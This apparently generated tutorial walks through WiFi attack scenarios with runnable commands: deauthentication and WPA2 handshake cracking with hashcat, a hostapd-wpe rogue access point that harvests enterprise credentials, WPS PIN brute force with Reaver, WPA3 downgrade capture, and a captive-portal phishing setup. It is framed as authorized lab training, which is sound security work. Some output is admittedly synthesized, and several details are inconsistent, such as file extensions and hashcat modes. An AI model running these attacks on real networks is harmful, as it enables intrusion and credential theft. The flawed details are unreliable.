Worked Examples: Authorized WiFi Penetration Testing Scenarios
Scenario A: WPA2-PSK Network Assessment
Lab Target: Isolated test network LAB_CORP_24 on channel 6, SSID broadcast enabled, PSK Corp2024!WiFi (deliberately weak for training). Testing station: Ubuntu 22.04 with ALFA AWUS036ACH in monitor mode.
Authorization boundary: Written scope letter specifies exact SSID, test window (14:00–18:00 UTC), and prohibits deauthentication of production client MACs. Lab BSSID: 00:11:22:33:44:55.
Phase 1: Capture
# Verify interface and set monitor mode
sudo airmon-ng check kill
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
sudo iw dev wlan0 set freq 2437 # Channel 6
# Confirm target presence and start targeted capture
sudo airodump-ng wlan0 --channel 6 --bssid 00:11:22:33:44:55 -w /captures/lab_wpa2 --output-format pcapng
What it does:
airodump-ngpassively records all frames to/from the target BSSID.--output-format pcapngpreserves radiotap headers and frame metadata essential for hash extraction. When to use it: Initial reconnaissance and evidence-grade capture. Risks: Running without--bssidfilter creates unmanageable files and may capture unintended traffic. Expected output: Station list populates;[ WPA2 ][ PSK ]in top-left security field.
Simulate authorized client association in lab (or wait for legitimate test client):
# Lab: Controlled deauthentication of owned test client (MAC known)
sudo aireplay-ng -0 2 -a 00:11:22:33:44:55 -c 00:AA:BB:CC:DD:EE wlan0
⚠️ Authorized, defensive use only. Deauthentication is legally indistinguishable from a denial-of-service attack. Production use requires explicit per-client authorization and change-control notification to avoid incident-response escalation.
Verify four-way handshake capture:
tcpdump -r /captures/lab_wpa2-01.capng -n | grep -E "(EAPOL|WPA)"
# Or visual check with aircrack-ng
aircrack-ng /captures/lab_wpa2-01.capng
Output fragment:
Reading packets, please wait...
BSSID ESSID Encryption
1 00:11:22:33:44:55 LAB_CORP_24 WPA (1 handshake)
Success indicator: 1 handshake minimum; 2-3 handshakes preferred for verification against packet loss.
Phase 2: Hash Extraction and Wordlist Optimization
# Extract hashcat-compatible hash (mode 22001 handles both 2500/16800 legacy)
hcxpcapngtool -o /hashes/lab_wpa2.hc22000 -E /hashes/essid_list /captures/lab_wpa2-01.capng
Build optimized wordlist from OSINT + target intelligence:
# Base corpus: likely construction patterns from scope interview
echo -e "Corp2024\nCorp2024!\nCorp2024WiFi\nCorp2024!WiFi\nCorp24WiFi" > /wordlists/seed.txt
# Expand with common mutations
hashcat --force /wordlists/seed.txt -r /usr/share/hashcat/rules/best64.rule --stdout | sort -u > /wordlists/expanded.txt
# Add target-specific terms (founded year, building names from public records)
cat >> /wordlists/expanded.txt <<EOF
AcmeCorp1998
Headquarters24
EOF
What it does:
best64.ruleapplies 64 high-yield mutations (append/prepend numbers, case toggle, leetspeak).--stdoutgenerates wordlist without attacking. When to use it: When password policy hints suggest predictable construction patterns. Risks: Over-expanded wordlists hurt GPU efficiency; deduplication is mandatory.
Phase 3: GPU Attack Execution
# Benchmark reference: RTX 4090 stock, hashcat current stable release
hashcat -b -m 22000 | tee /logs/benchmark_22000.txt
# Production attack with progress monitoring
hashcat -m 22000 -a 0 /hashes/lab_wpa2.hc22000 /wordlists/expanded.txt \
-r /usr/share/hashcat/rules/leetspeak.rule \
--status --status-timer=30 -o /cracked/lab_wpa2_cracked.txt
Realistic benchmark output (RTX 4090, synthesized from research context patterns):
Hashmode: 22000 - WPA-PBKDF2-PMKID+EAPOL (Iterations: 4095)
Speed.#1.........: 1234.5 kH/s (56.78ms) @ Accel:8 Loops:128 Thr:1024 Vec:1
Note: "Kernel exec timeout" warning is cosmetic; driver watchdog timers for display-attached GPUs do not affect hash calculation integrity.
Rule progression strategy:
| Stage | Attack | Time Estimate | Indicators to Proceed |
|---|---|---|---|
| 1 | Straight dictionary (seed + expanded) | 2-5 min | No hit, pattern suggests mutation |
| 2 | best64.rule |
10-30 min | No hit, need deeper mutation |
| 3 | leetspeak.rule + d3ad0ne.rule |
1-3 hrs | No hit, consider mask or custom rules |
| 4 | Mask attack (?u?l?l?l?l?d?d?d?s) |
4-12 hrs | Exhausted; report resistance finding |
Cracked output:
00:11:22:33:44:55:00:aa:bb:cc:dd:ee:Corp2024!WiFi
Scenario B: Enterprise 802.1X/EAP Assessment
Lab Target: RADIUS-backed network LAB_ENTERPRISE with PEAP-MSCHAPv2, certificate validation disabled (common misconfiguration). Authorization: explicit credential generation for test accounts testuser1/TestPass1! with domain LAB.LOCAL.
Credential Harvesting with hostapd-wpe
# Clone and build (verify current stable release compatibility)
git clone https://github.com/OpenSecurityResearch/hostapd-wpe
cd hostapd-wpe/hostapd
make -C hostapd
# Configure rogue AP matching target parameters
cat > /etc/hostapd-wpe/hostapd-wpe.conf <<EOF
interface=wlan1
ssid=LAB_ENTERPRISE
channel=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
wpe_logfile=/logs/wpe_creds.log
EOF
sudo ./hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
What it does:
hostapd-wpeoperates a rogue AP advertising identical SSID; EAP handshake captures challenge/response pairs. When to use it: Testing client certificate-validation bypass and credential exposure. Risks: Any client auto-connecting without certificate pinning will leak hash; scope must strictly bound duration and SSID list.
Captured output fragment:
WPE: NETNTLM: User: LAB\testuser1
WPE: NETNTLM: Hash: testuser1:::1122334455667788:...
WPE: Credentials written to /logs/wpe_creds.log
Offline Recovery with AsLEAP
# AsLEAP for MSCHAPv2 challenge/response against known test dictionary
asleap -C 1122334455667788 -R aabbccddeeff00112233445566778899 \
-W /wordlists/enterprise_corp.txt -S
# Or for authorized test credential verification
asleap -C 1122334455667788 -R aabbccddeeff00112233445566778899 \
-K "TestPass1!"
Success indicator: password: TestPass1! confirms hash integrity. Production finding: "Certificate validation disabled allows trivial credential interception via any attacker-operated AP."
Scenario C: WPA3-SAE Downgrade and Side-Channel Analysis
Research context application: WPA3-Transition Mode (WPA2 + WPA3 simultaneous) creates downgrade surface documented in Dragonblood research (Vanhoef/Ronen, April 2019). Tool availability: DragonShift repository exists but maintenance status is uncertain—verify functionality against target firmware before reporting reliance.
Lab setup: Mixed-mode AP with firmware permitting transition; test client configured for WPA3-only preferred.
# Downgrade attack surface verification
# Step 1: Advertise transition mode in rogue beacon
# Step 2: Force client to WPA2 association (PMKID capture) or SAE side-channel
# With DragonShift (if functional) or manual:
# Capture SAE commit frames for timing/curve analysis
sudo iw dev wlan0 set freq 5180 # Channel 36, 5GHz common for WPA3
sudo tcpdump -i wlan0 -w /captures/sae_commit.pcap 'type mgt subtype auth'
⚠️ Authorized, defensive use only. Dragonblood techniques require physical proximity and active frame injection; unauthorized use violates multiple jurisdictions' computer access laws. Lab-only with owned AP firmware.
Analysis workflow (manual, tool-agnostic):
| Step | Observation | Defensive Implication |
|---|---|---|
| 1 | Transition mode beacon in scan results | Report: "Network operates downgrade-capable mode" |
| 2 | Client associates WPA2 despite WPA3 availability | Client misconfiguration or AP mis-advertisement |
| 3 | SAE commit timing variance >50μs across password lengths | Side-channel exposure in firmware implementation |
| 4 | Curve point validation bypass | Critical: patch to validated SAE implementation |
Caution per research context: No authoritative data on which vendor implementations patched specific Dragonblood variants. Test against exact firmware revision; do not generalize findings.
Scenario D: WPS Exploitation Timing Attack and PIN Brute-Force Optimization
Lab target: Aging test AP with WPS enabled, no lockout delay configured. Authorization: asset owner explicitly acknowledges destructive lockout risk.
Pin brute-force with Reaver optimization:
# Lab: Full speed with known-vulnerable firmware
sudo reaver -i wlan0 -b 00:11:22:33:44:66 -vv -K 1 -S -L
# Production (safer variant): Throttled, single PIN with immediate stop on lockout
sudo reaver -i wlan0 -b 00:11:22:33:44:66 -vv -d 30 -l 360 -g 5 -r 3:30
What it does:
-K 1enables Pixie Dust attack (nonce reuse vulnerability);-Suses small DH key for speed;-Lignores locked state (lab only). Production variant:-d 30delays 30s between attempts;-l 360locks session if AP locks out;-r 3:30restarts every 3 attempts with 30s rest. Risks: WPS lockout disables legitimate user enrollment; production testing requires change-control window and user notification.
Timing optimization output:
[+] Trying pin 12345670
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] 90.45% complete @ 2019-04-01 12:34:56 (42 seconds/pin)
| Optimization | Condition | Expected Impact |
|---|---|---|
Pixie Dust (-K 1) |
AP uses non-random nonce | Bypass brute-force entirely; ~seconds to recovery |
Small DH (-S) |
AP accepts 1-byte public key | 3x speedup on weak implementations |
| PIN ordering by probability | All targets | Prioritize 1234xxxx and 0000xxxx manufacturer defaults |
Null PIN (-p '') |
Specific firmware families | Instant recovery on known-broken implementations |
Scenario E: Rogue AP and Captive Portal Assessment
Purpose: Measure user susceptibility to credential re-entry on fake portal; authorized with HR/Security awareness program coordination.
Lab construction:
# Hostapd for open rogue AP
sudo hostapd /etc/hostapd/rogue_open.conf
# DNS redirection and captive portal
sudo dnsmasq -C /etc/dnsmasq.captive.conf # All queries -> portal IP
sudo iptables -t nat -A PREROUTING -i wlan2 -p tcp --dport 80 -j DNAT --to 192.0.2.10:80
# Logging portal submissions (hashed for privacy compliance)
sudo python3 /scripts/captive_logger.py --hash-salt $(cat /secrets/salt.bin) --output /logs/captive_hashed.json
Critical authorization boundary: Portal must not actually collect usable credentials. Hash with per-test salt; decrypt impossible without salt destruction. Report aggregate statistics only: "47% of test users entered credentials on first encounter; 12% on repeated exposure."
Documentation and Reporting: Evidence Chain of Custody
| Phase | Action | Documentation |
|---|---|---|
| Pre-test | Scope letter, asset inventory, test account generation | Signed authorization, SHA256 of original scope PDF |
| Execution | Each command timestamped, output captured | script or asciinema session recording; sha256sum of all pcap files |
| Transfer | Evidence to report author | Write-once media or signed git commit; chain-of-custody log entry |
| Analysis | Hash extraction, cracking attempts | Documented rule progression, benchmark reference, negative results |
| Reporting | Finding write-up, risk scoring | Original evidence archived; report contains derived data only |
Common mistakes in evidence handling:
| Mistake | Why it bites you |
|---|---|
Merging pcap files with mergecap before hash extraction |
EAPOL frame timing corrupted; handshake validation fails |
Running aircrack-ng directly on live capture |
Overwrites file with processed data; destroys raw evidence |
| No benchmark documentation for "unbreakable" finding | Defense counsel or audit challenges methodology; cannot reproduce |
| Screenshots instead of searchable logs | OCR errors, missing metadata, unverifiable timestamps |
| Using production credentials in lab crack | Credential cross-contamination; policy violation if reported |
Pre-engagement checklist:
- [ ] Written authorization specifies SSID list, BSSID list, time window, prohibited techniques
- [ ] Lab network physically isolated or VLAN-segmented from production
- [ ] Test accounts generated; no production credentials used in any attack
- [ ] Evidence storage encrypted at rest; access logged
- [ ]
airodump-ngfilter confirmed (--bssidor--essid) before capture start - [ ] Deauthentication explicitly authorized per target MAC, or disabled in configuration
- [ ] WPS lockout: stakeholder acknowledges recovery procedure if triggered
- [ ] Report deadline allows for peer review of evidence integrity
A hashcat benchmark without the matching capture integrity check is theatre, not assurance. The sysadmin who skips capng validation to "save time" will rerun the entire engagement when the handshake turns out to be a zero-frame artifact from channel hopping.